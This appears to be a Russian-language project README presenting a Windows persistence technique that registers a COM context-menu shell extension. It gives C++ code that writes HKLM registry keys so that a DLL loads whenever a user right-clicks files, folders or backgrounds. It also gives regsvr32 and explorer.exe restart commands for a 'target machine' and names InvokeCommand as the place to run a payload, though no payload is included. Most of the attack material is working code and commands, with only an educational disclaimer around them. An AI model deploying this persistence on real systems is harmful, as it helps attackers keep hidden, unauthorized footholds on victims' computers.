
Техника персистентности COM в Windows
вдохновлено CVE-2026-21509
Пример реализации обработчика контекстного меню Windows на C++ и COM, демонстрирующий скрытую технику закрепления в системе. Регистрируя собственный COM-объект, ваш код выполняется всякий раз, когда пользователь щёлкает правой кнопкой мыши по определённым целям (файлам, папкам или пустому пространству) в проводнике Windows.
Отказ от ответственности: Этот проект предназначен только для образовательных и исследовательских целей. Описанные здесь техники могут быть использованы в злонамеренных целях. Автор не одобряет использование данного кода для любых незаконных действий. Будьте ответственны и используйте эти знания этично.

DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppСодержит стандартные функции, необходимые COM-объекту для регистрации и разрегистрации DLL.
DllRegisterServer(): Записывает пути реестра, соответствующие целевым расширениям файлов / пустому пространству. Выполняется при регистрации DLL.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer(): Очищает реестр. Вызывается при разрегистрации DLL.MyClassFactoryНеобходим для создания экземпляра COM-объекта. Подробнее о фабриках классов.
Clsid_defined.hСодержит GUID, под которым приложение будет зарегистрировано в Проводнике. Вы можете сгенерировать новый GUID с помощью guidgen.exe из Visual Studio или онлайн Генератора GUID.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.defФайл определения модуля. Он указывает, какие функции экспортирует DLL. Подробнее о DEF-файлах.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppОсновной класс, реализующий IShellExtInit и IContextMenu. Здесь задаются собственные действия.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
Вызывается каждый раз при щелчке правой кнопкой на зарегистрированной цели. Используется для определения того, какой файл или папка были нажаты.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
Вызывается, когда пользователь щёлкает по конкретной пользовательской опции в контекстном меню. Здесь выполняется ваша полезная нагрузка для закрепления или пользовательское действие.На целевой виртуальной машине скопируйте скомпилированную DLL и выполните следующие команды:
Зарегистрируйте DLL с помощью стандартных двоичных файлов Windows.
regsvr32.exe RightHandPersistence.dll
Перезапустите процесс explorer.exe, чтобы он загрузил новое расширение оболочки в память.
taskkill /f /im explorer.exe & start explorer.exe
Чтобы удалить обработчик контекстного меню и очистить реестр, используйте флаг /u с regsvr32.exe. Эта команда вызовет вашу функцию DllUnregisterServer.
regsvr32.exe /u RightHandPersistence.dll
Windows по-разному категоризирует «пустое пространство» и файлы. Чтобы нацелиться на фон, сопоставьте ключи реестра со следующими местами.
Более подробно о сопоставлении расширений можно узнать в документации Microsoft по обработчикам контекстного меню.
Вы можете задать собственный текст для меню (например, «Пользовательское копирование» или «Выполнить диагностику»), реализовав метод IContextMenu::QueryContextMenu. Щелчок по этому тексту запускает вашу логику внутри IContextMenu::InvokeCommand.
| Цель правого клика | Путь в реестре |
|---|
| Файлы (все) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| Папки (значок) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| Фон папки | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| Фон рабочего стола | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |